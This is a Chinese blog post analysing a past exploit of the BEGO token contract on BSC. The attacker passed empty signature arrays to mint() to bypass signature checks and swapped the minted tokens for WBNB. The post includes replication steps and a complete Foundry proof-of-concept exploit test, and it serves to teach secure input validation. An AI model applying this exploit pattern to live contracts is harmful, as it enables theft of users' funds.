参数检查漏洞——BEGO

文章详细描述了一次针对BSC上智能合约的攻击事件,攻击者在mint代币时传入空的RSV值,绕过签名验证,成功获取了12个WBNB。攻击流程包括调用合约的mint方法,使用PancakeSwapV2进行代币兑换。文章提醒开发者要对输入参数进行严格检查,防止类似攻击。
摘要由CSDN通过智能技术生成


攻击者通过在mint代币的时候,传入空的rsv来绕开签名的检查,获取12个WBNB的利润

事件基本情况

tx: 0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c57
区块链:bsc
发送者: 0xde01f6ce91e4f4bdb94bb934d30647d72182320f
受害者: 0xc342774492b54ce5F8ac662113ED702Fc1b34972
攻击合约: 0x08a525104ea2a92abbce8e4e61c667eed56f3b42
调用函数: 0x28b5e32b
区块高度: 22315680
漏洞点:不恰当的函数逻辑。

hacker攻击流程

  1. 调用BEGO的mint方法,传入的rsv为空,可以绕开合约签名的检查。并将接收者设置为PancakeSwap V2: BGEO。
  2. 用PancakeSwap V2: BGEO的swap将BEGO兑换为WBNB发送给sender

流程图如下
请添加图片描述

漏洞方法如图
请添加图片描述

攻击点复刻方式

  1. 创建攻击合约
  2. 在攻击方法中调用mint,传入空的rsv
  3. 将mint的BEGO去兑换为WBNB

攻击模拟结果图

请添加图片描述

事件总结

一定要对传入的参数进行特殊性检查,防止被黑客利用

攻击代码

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.10;

import "forge-std/Test.sol";

import "./UniversalInterface.sol";
  
// 定义常量

IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
address constant BEGO = 0xc342774492b54ce5F8ac662113ED702Fc1b34972;
IPancakeRouter02 constant Router = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
uint256 constant BlockNumber = 22315679;


// 定义接口

interface BEGOERC20 {

        function mint(
        uint256 _amount,
        string memory _txHash,
        address _receiver,
        bytes32[] memory _r,
        bytes32[] memory _s,
        uint8[] memory _v
    ) external;
}


// 攻击合约
contract Exploit is Test{

// 设置攻击环境
    function setUp() public {
        vm.createSelectFork("bsc", BlockNumber);
    }

// 攻击函数
    function testAttack() public {
        // 攻击前WBNB
        console.log("WBNB owned before attack:",WBNB.balanceOf(address(this)));
        bytes32 [] memory _r = new bytes32[](0);
        bytes32 [] memory _s = new bytes32[](0);
        uint8 [] memory _v = new uint8[](0);

        BEGOERC20(BEGO).mint(1000000000000000000000000000000, "t", address(this), _r, _s, _v);

        BEGOToWBNB();

        // 攻击后WBNB
        console.log("WBNB owned before attack:",WBNB.balanceOf(address(this)));

    }

    function BEGOToWBNB() internal {

        IERC20(BEGO).approve(address(Router), type(uint).max);
        address[] memory path = new address[](2);
        path[0] = address(BEGO);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(BEGO).balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

感觉对有帮助的可以点个赞,谢谢♥;如果喜欢的话可以订阅,我会持续更新合约漏洞事件。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值